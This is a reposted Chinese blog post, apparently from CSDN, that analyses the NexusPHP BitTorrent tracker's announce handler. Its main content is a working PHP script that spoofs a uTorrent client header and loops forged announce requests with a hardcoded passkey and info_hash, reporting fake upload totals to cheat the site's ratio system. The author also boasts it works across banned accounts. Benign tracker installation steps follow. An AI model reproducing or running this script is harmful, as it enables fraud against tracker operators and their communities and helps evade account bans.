php remote trak,NexusPHP traker源码分析 模拟CC攻击

源码网上可以找

第一步 分析源码

//1.分析客户端 默认的允许的客户端请参照各大站

$agent = $_SERVER["HTTP_USER_AGENT"];

block_browser();

//2.分析参数 这几个参数必须有

foreach (array("passkey","info_hash","peer_id","event") as $x)

{

if(isset($_GET["$x"]))

$GLOBALS[$x] = $_GET[$x];

}

foreach (array("port","downloaded","uploaded","left","compact","no_peer_id") as $x)

{

$GLOBALS[$x] = 0 + $_GET[$x];

}

//3.端口 用常识填一个就行了

if (!$port || $port > 0xffff)

err("invalid port");

if (!ip2long($ip)) //Disable compact announce with IPv6

$compact = 0;

//中间发包间隔是30s 速度不超过100Mb/s

burp抓包确认

3ee6aef64e67d861e7b29faf29677df0.png

上传个源码。。。 请大家不要恶搞 谢谢 nexus就算被封号 一样可以有效上传 只要号足够多。。。你懂的

set_time_limit(0);

for ($i=1; $i < 100000000; $i++) {

shuafen3($i);

ob_flush();

flush();

sleep(40);

}

function shuafen3($i){

/*

伪造头 其实只要user agent 其他可以忽略

*/

$headers[‘User-Agent‘] = ‘uTorrent/342(109414725)(35141)‘;

$headerArr = array();

foreach( $headers as $n => $v ) {

$headerArr[] = $n .‘:‘ . $v;

}

/*

绝对不要用http_build_query() 会对参数和值encode 但是源码中并没有decode 会导致info_hash错误

所以拼url就可以

*/

$url = SITE_URL;

$url .= ‘passkey=e0d3629ea5ab14bb2c2f74a3ed48c696&‘;

$url .= ‘info_hash=E%00%b3%ca%de3W4%f7j%9b%7b%86G%fdV8%e9p%3c&‘;

$url .= ‘peer_id=-UT3420-E%89y%aaP%bfW%e0%a1%ed%d9W&‘;

$url .= ‘port=60579&‘;

$url .= ‘uploaded=‘.(0+$i*73400320).‘&‘;

$url .= ‘downloaded=0&‘;

$url .= ‘left=43399315456&‘;

$url .= ‘corrupt=0&‘;

$url .= ‘key=01E9E5A9&‘;

$url .= ‘event=started&‘;

$url .= ‘numwant=200&‘;

$url .= ‘compact=1&‘;

$url .= ‘no_peer_id=1‘;

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArr);

curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);

//必须使用http 1.0 协议 1.1的协议会对数据压缩 traker不认

$response = curl_exec($ch);

if(curl_errno($ch)){

print curl_errno($ch).‘ - ‘.curl_error($ch);

echo curl_getinfo($ch, CURLINFO_HTTP_CODE);

}

curl_close($ch);

echo iconv("UTF-8", "GBK//IGNORE",$response).‘
‘;

}

?>

个人兴趣 和站长提了几个漏洞 被站长喷SB

原文:http://www.cnblogs.com/christian-ye/p/4078423.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这是一款不错的NexusPHP官方版源码 v1.5源码,该源码也是最新版本的,BitTorrent private tracker scripts written in PHP. Email xiazuojie AT gmail.com for paid support. BitTorrent私有种子服务器PHP程序,邮件 xiazuojie AT gmail.com 获取付费支持。 安装环境配置: 配置环境可以选用apache+php+Mysql+memcache,推荐linux环境,代码执行效率更高。作者代码所提供的安装介绍也是在linux环境下的,而且全是英文介绍,这让我这六级不过的情何以堪啊,小小的鄙视下。。。 Windows下推荐win2003,如果你对PHP有一定了解,可以自己动手搭建IIS或apache+PHP+MysqL+memcache的环境,具体教程可以google。不过这种方法很繁琐,经常会出莫名其妙的错误,你要有心理的准备。 最好的方式是选用环境集成包,比如Apmserv5.2.6功能很全,支持apache+php+mysql+memcache,还有一个集成包,nginx+php+mysql+memcache,这个集成包相当简陋,只是各种包的聚合,没有控制界面和控制面板,使用起来很不方便。这应该是众多集成包里唯一两个支持memcache的集成包了。 好了,环境搭建完毕,解压程序包,然后导入数据库文件,(根目录_db下的dbstructure.sql文件)导入完毕后修改配置文件,在config文件下下面有一个allconfig.php 的文件,修改下面的内容: SITENAME => 站点名称 baseURL => 网站URL announce_url => localhost/announce.php(announce的url地址) mysql_host => MySQL主机 mysql_user=> 数据库用户名 mysql_pass => 数据库密码 mysql_db => 数据库名 以上无误的话应该就可以登陆NexusPHP的界面了,赶紧注册管理员账号吧。 好了,注册好用户名后,接着进入数据库管理(phpMyAdmin),在users表里面找到你注册的用户,编辑它的class属性为16,便是主管权限了。 还可以通过下面的方法设置: 1.使用正常方式在网站注册一个新用户,假设用户名为admin。 2.输入以下命令进入MySQL命令行管理工具: mysql -u root -p nexusrocks -h localhost 注意:将’root’,’nexusrocks’,’localhost’分别替换成你的MySQL用户名、密码、主机地址。 2.在MySQL命令行管理工具输入以下命令: USE nexus; UPDATE users SET class=’16′ WHERE username=’admin’; 注意:将以上命令中的’nexus’替换成你的数据库名,将’admin’替换成你注册的用户名。 3.退出MySQL命令行管理工具: 到这里PT基本上就架设完毕了,现在只需要利用主管帐号对站点进行设置和调整就可以了
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值